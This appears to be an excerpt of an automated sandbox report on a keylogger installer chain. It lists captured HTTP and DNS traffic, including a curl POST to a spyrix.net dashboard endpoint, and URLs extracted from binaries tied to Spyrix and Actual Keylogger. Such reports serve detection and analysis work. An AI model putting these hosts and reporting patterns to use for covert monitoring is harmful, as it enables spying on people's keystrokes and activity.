Source: global traffic	HTTP traffic detected: GET /dashboard30/assets/Text.vue_vue_type_script_setup_true_lang-a664542d.js HTTP/1.1Host: cdn.cdndownload.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://dashboard.spyrix.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dashboard30/assets/index-7e7c447a.css HTTP/1.1Host: cdn.cdndownload.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://dashboard.spyrix.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dashboard30/assets/Copyright.vue_vue_type_script_setup_true_lang-05301fe7.js HTTP/1.1Host: cdn.cdndownload.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://dashboard.spyrix.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dashboard30/assets/Button.module-6d4e91b8.js HTTP/1.1Host: cdn.cdndownload.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://dashboard.spyrix.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dashboard30/assets/ButtonTemplate.module-c837805f.js HTTP/1.1Host: cdn.cdndownload.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://dashboard.spyrix.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dashboard30/assets/ButtonText.module-c769b9ae.js HTTP/1.1Host: cdn.cdndownload.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://dashboard.spyrix.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dashboard30/assets/Modal.module-d62c47b8.js HTTP/1.1Host: cdn.cdndownload.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://dashboard.spyrix.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dashboard30/assets/Button.vue_vue_type_script_setup_true_lang-56edf5a6.js HTTP/1.1Host: cdn.cdndownload.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://dashboard.spyrix.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dashboard30/assets/en-08b2a987.js HTTP/1.1Host: cdn.cdndownload.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dashboard30/assets/Text.vue_vue_type_script_setup_true_lang-a664542d.js HTTP/1.1Host: cdn.cdndownload.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dashboard30/assets/ConfirmPhoneModal.module-3f369b32.js HTTP/1.1Host: cdn.cdndownload.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dashboard30/assets/index-1178777c.js HTTP/1.1Host: cdn.cdndownload.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dashboard30/assets/en-ef960fb7.js HTTP/1.1Host: cdn.cdndownload.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dashboard30/assets/en-5393c481.js HTTP/1.1Host: cdn.cdndownload.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dashboard30/assets/ButtonText.vue_vue_type_script_setup_true_lang-1bda6e81.js HTTP/1.1Host: cdn.cdndownload.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://dashboard.spyrix.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dashboard30/assets/useValidation-954c07e6.js HTTP/1.1Host: cdn.cdndownload.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://dashboard.spyrix.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dashboard30/assets/Input.vue_vue_type_script_setup_true_lang-31858815.js HTTP/1.1Host: cdn.cdndownload.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://dashboard.spyrix.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dashboard30/assets/loop-c45f0f1e.js HTTP/1.1Host: cdn.cdndownload.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://dashboard.spyrix.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dashboard30/assets/Copyright.vue_vue_type_script_setup_true_lang-05301fe7.js HTTP/1.1Host: cdn.cdndownload.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dashboard30/assets/Modal.module-d62c47b8.js HTTP/1.1Host: cdn.cdndownload.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dashboard30/assets/Button.module-6d4e91b8.js HTTP/1.1Host: cdn.cdndownload.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dashboard30/assets/ButtonTemplate.module-c837805f.js HTTP/1.1Host: cdn.cdndownload.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dashboard30/assets/ButtonText.module-c769b9ae.js HTTP/1.1Host: cdn.cdndownload.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dashboard30/assets/Button.vue_vue_type_script_setup_true_lang-56edf5a6.js HTTP/1.1Host: cdn.cdndownload.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dashboard30/assets/ButtonText.vue_vue_type_script_setup_true_lang-1bda6e81.js HTTP/1.1Host: cdn.cdndownload.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dashboard30/assets/Nunito-Bold-765bfff4.woff2 HTTP/1.1Host: cdn.cdndownload.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://dashboard.spyrix.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://cdn.cdndownload.net/dashboard30/assets/index-93c74fef.cssAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dashboard30/assets/Input.vue_vue_type_script_setup_true_lang-31858815.js HTTP/1.1Host: cdn.cdndownload.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dashboard30/assets/useValidation-954c07e6.js HTTP/1.1Host: cdn.cdndownload.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dashboard30/assets/loop-c45f0f1e.js HTTP/1.1Host: cdn.cdndownload.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: qrl.exe

String found in binary or memory: Usage: curl [options...] <url>

Source: spkl.exe, 0000002E.00000003.2992503287.00000000072B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: SearchID="http://www.myspace.com/search/" equals www.myspace.com (Myspace)
Source: spkl.exe, 0000002E.00000002.3325762768.000000000457B000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.myspace.com/search/ equals www.myspace.com (Myspace)
Source: spkl.exe, 0000002E.00000003.2992503287.00000000072B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: msgID="http://www.myspace.com/my/mail" equals www.myspace.com (Myspace)

Source: global traffic	DNS traffic detected: DNS query: filedn.com
Source: global traffic	DNS traffic detected: DNS query: cdnbaynet.com
Source: global traffic	DNS traffic detected: DNS query: swtb-download.spyrix-sfk.com
Source: global traffic	DNS traffic detected: DNS query: dashboard.spyrix.com
Source: global traffic	DNS traffic detected: DNS query: cdn.cdndownload.net
Source: global traffic	DNS traffic detected: DNS query: spyrix.net
Source: global traffic	DNS traffic detected: DNS query: www.google.com

Source: unknown

HTTP traffic detected: POST /dashboard/prg-actions HTTP/1.1Host: spyrix.netUser-Agent: curl/7.64.0Accept: */*Content-Length: 426Content-Type: application/x-www-form-urlencoded

Source: spkl.exe, 0000002E.00000002.3328914499.0000000004F70000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: HTTPS://DASHBOARD.SPYRIX.COM/
Source: spkl.exe, 0000002E.00000002.3331600025.00000000065BD000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: HTTPS://SPYRIX.NET/DASHBOARD/PRG-LIST
Source: qrl.exe	String found in binary or memory: http://.jpg
Source: 404.tmp, 0000000C.00000003.2357697455.00000000032E1000.00000004.00001000.00020000.00000000.sdmp, 404.tmp, 0000000C.00000003.2956829170.00000000033C8000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl.certum.pl/ca.crl0:
Source: 404.tmp, 0000000C.00000003.2357697455.00000000032E1000.00000004.00001000.00020000.00000000.sdmp, 404.tmp, 0000000C.00000003.2956829170.00000000033C8000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl.certum.pl/l3.crl0a
Source: 404.tmp, 0000000C.00000003.2357697455.00000000032E1000.00000004.00001000.00020000.00000000.sdmp, 404.tmp, 0000000C.00000003.2956829170.00000000033C8000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/COMODORSACertificationAuthority.crl0q
Source: 404.tmp, 0000000C.00000003.2357697455.00000000032E1000.00000004.00001000.00020000.00000000.sdmp, 404.tmp, 0000000C.00000003.2956829170.00000000033C8000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/COMODORSACodeSigningCA.crl0t
Source: curl.exe, 00000009.00000003.2351680397.00000000009EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.com/ca/gstsacasha384g4.crl0
Source: curl.exe, 00000009.00000003.2351680397.00000000009EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.com/gsgccr45codesignca2020.crl0
Source: curl.exe, 00000009.00000003.2351680397.00000000009EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.com/root-r6.crl0G
Source: 404.exe, 00000000.00000002.2292769546.0000000002774000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://filedn.com
Source: 404.exe, 00000000.00000002.2292769546.0000000002774000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://filedn.comd
Source: qrl.exe	String found in binary or memory: http://html4/loose.dtd
Source: spkl.exe, 0000002E.00000002.3284697036.0000000000929000.00000040.00000001.01000000.00000014.sdmp	String found in binary or memory: http://neftali.clubdelphi.com/
Source: 404.tmp, 0000000C.00000003.2357697455.00000000032E1000.00000004.00001000.00020000.00000000.sdmp, 404.tmp, 0000000C.00000003.2956829170.00000000033C8000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.certum.pl0.
Source: 404.tmp, 0000000C.00000003.2357697455.00000000032E1000.00000004.00001000.00020000.00000000.sdmp, 404.tmp, 0000000C.00000003.2956829170.00000000033C8000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0
Source: curl.exe, 00000009.00000003.2351680397.00000000009EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.globalsign.com/ca/gstsacasha384g40C
Source: curl.exe, 00000009.00000003.2351680397.00000000009EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.globalsign.com/gsgccr45codesignca20200V
Source: curl.exe, 00000009.00000003.2351680397.00000000009EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp2.globalsign.com/rootr606
Source: spkl.exe, 0000002E.00000003.2992503287.00000000072B0000.00000004.00000800.00020000.00000000.sdmp, spkl.exe, 0000002E.00000002.3325762768.000000000457B000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://rc.qzone.qq.com/qzonesoso/?search
Source: 404.tmp, 0000000C.00000003.2357697455.00000000032E1000.00000004.00001000.00020000.00000000.sdmp, 404.tmp, 0000000C.00000003.2956829170.00000000033C8000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://repository.certum.pl/l3.cer0
Source: 404.exe, 00000000.00000002.2292769546.0000000002762000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: curl.exe, 00000009.00000003.2351680397.00000000009EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://secure.globalsign.com/cacert/gsgccr45codesignca2020.crt0=
Source: curl.exe, 00000009.00000003.2351680397.00000000009EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://secure.globalsign.com/cacert/gstsacasha384g4.crt0
Source: spkl.exe	String found in binary or memory: http://spyrix.com/manual.php
Source: spkl.exe, 0000002E.00000003.2992503287.00000000072B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://user.qzone.qq.com
Source: spkl.exe, 0000002E.00000003.2992503287.00000000072B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://vk.com/search
Source: spkl.exe, 0000002E.00000002.3328914499.0000000004F96000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://vk.com/searchecp
Source: spkl.exe, spkl.exe, 0000002E.00000002.3273020427.0000000000401000.00000040.00000001.01000000.00000014.sdmp, spkl.exe, 0000002E.00000003.2914260101.00000000044A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.actualkeylogger.com/buynow.html
Source: spkl.exe	String found in binary or memory: http://www.actualkeylogger.com/help.html
Source: spkl.exe	String found in binary or memory: http://www.actualkeylogger.com/help.html#registrate
Source: spkl.exe, 0000002E.00000002.3273020427.0000000000401000.00000040.00000001.01000000.00000014.sdmp, spkl.exe, 0000002E.00000003.2914260101.00000000044A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.actualkeylogger.com/help.html#registratehttp://www.spyrix.com/manual.php#registrateU
Source: spkl.exe, 0000002E.00000002.3273020427.0000000000401000.00000040.00000001.01000000.00000014.sdmp, spkl.exe, 0000002E.00000003.2914260101.00000000044A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.actualkeylogger.com/help.htmlhttp://spyrix.com/manual.phpU
Source: 404.exe, 0000000B.00000003.2970008225.0000000002161000.00000004.00001000.00020000.00000000.sdmp, 404.exe, 0000000B.00000003.2354454420.00000000023B0000.00000004.00001000.00020000.00000000.sdmp, 404.tmp, 0000000C.00000003.2959223820.00000000021C0000.00000004.00001000.00020000.00000000.sdmp, 404.tmp, 0000000C.00000003.2357697455.00000000031C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.dk-soft.org/
Source: spkl.exe, spkl.exe, 0000002E.00000002.3273020427.0000000000863000.00000040.00000001.01000000.00000014.sdmp, spkl.exe, 0000002E.00000002.3325762768.0000000004541000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.indyproject.org/
Source: spkl.exe	String found in binary or memory: http://www.indyproject.org/Original
Source: 404.exe, 0000000B.00000003.2355581301.000000007FD10000.00000004.00001000.00020000.00000000.sdmp, 404.exe, 0000000B.00000003.2355136093.00000000023B0000.00000004.00001000.00020000.00000000.sdmp, 404.tmp, 0000000C.00000000.2356637542.0000000000401000.00000020.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://www.innosetup.com/
Source: 404.tmp, 0000000C.00000003.2357697455.00000000032E1000.00000004.00001000.00020000.00000000.sdmp, 404.tmp, 0000000C.00000003.2956829170.00000000033C8000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.jrsoftware.org/0
Source: 404.exe, 0000000B.00000000.2353952724.0000000000401000.00000020.00000001.01000000.0000000C.sdmp	String found in binary or memory: http://www.jrsoftware.org/ishelp/index.php?topic=setupcmdlineSetupU
Source: spkl.exe, 0000002E.00000003.2992503287.00000000072B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.myspace.com/my/mail
Source: spkl.exe, 0000002E.00000003.2992503287.00000000072B0000.00000004.00000800.00020000.00000000.sdmp, spkl.exe, 0000002E.00000002.3325762768.000000000457B000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.myspace.com/search/
Source: spkl.exe, 0000002E.00000003.2992503287.00000000072B0000.00000004.00000800.00020000.00000000.sdmp, spkl.exe, 0000002E.00000002.3325762768.000000000457B000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.ok.ru/dk?st.cmd=searchResult
Source: 404.exe, 0000000B.00000003.2355581301.000000007FD10000.00000004.00001000.00020000.00000000.sdmp, 404.exe, 0000000B.00000003.2355136093.00000000023B0000.00000004.00001000.00020000.00000000.sdmp, 404.tmp, 0000000C.00000000.2356637542.0000000000401000.00000020.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://www.remobjects.com/ps
Source: spkl.exe, spkl.exe, 0000002E.00000002.3273020427.0000000000401000.00000040.00000001.01000000.00000014.sdmp, spkl.exe, 0000002E.00000003.2914260101.00000000044A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.spyrix.com
Source: 404.exe, 0000000B.00000003.2970008225.00000000021E6000.00000004.00001000.00020000.00000000.sdmp, 404.exe, 0000000B.00000003.2354454420.00000000023B0000.00000004.00001000.00020000.00000000.sdmp, 404.tmp, 0000000C.00000003.2959223820.00000000021C0000.00000004.00001000.00020000.00000000.sdmp, 404.tmp, 0000000C.00000003.2956829170.00000000033F2000.00000004.00001000.00020000.00000000.sdmp, 404.tmp, 0000000C.00000003.2954858078.0000000003240000.00000004.00001000.00020000.00000000.sdmp, 404.tmp, 0000000C.00000003.2357697455.00000000031C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.spyrix.com/
Source: spkl.exe	String found in binary or memory: http://www.spyrix.com/manual.php#registrate
Source: spkl.exe, 0000002E.00000002.3284697036.00000000009EA000.00000040.00000001.01000000.00000014.sdmp, spkl.exe, 0000002E.00000002.3331600025.000000000652A000.00000004.00001000.00020000.00000000.sdmp, spkl.exe, 0000002E.00000003.2923571082.0000000004591000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.spyrix.com/osticket/upload/open.php
Source: spkl.exe, spkl.exe, 0000002E.00000002.3273020427.0000000000401000.00000040.00000001.01000000.00000014.sdmp, spkl.exe, 0000002E.00000003.2914260101.00000000044A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.spyrix.com/pro_upgrade.htm?lic=
Source: spkl.exe, spkl.exe, 0000002E.00000002.3273020427.0000000000401000.00000040.00000001.01000000.00000014.sdmp, spkl.exe, 0000002E.00000003.2914260101.00000000044A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.spyrix.com/purchase.php
Source: 404.tmp, 0000000C.00000003.2357697455.00000000031C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.spyrix.com/terms-of-use.php)
Source: spkl.exe, 0000002E.00000003.2923571082.00000000044CC000.00000004.00001000.00020000.00000000.sdmp, spkl.exe, 0000002E.00000002.3284697036.0000000000915000.00000040.00000001.01000000.00000014.sdmp	String found in binary or memory: http://www.spyrix.net/ibann
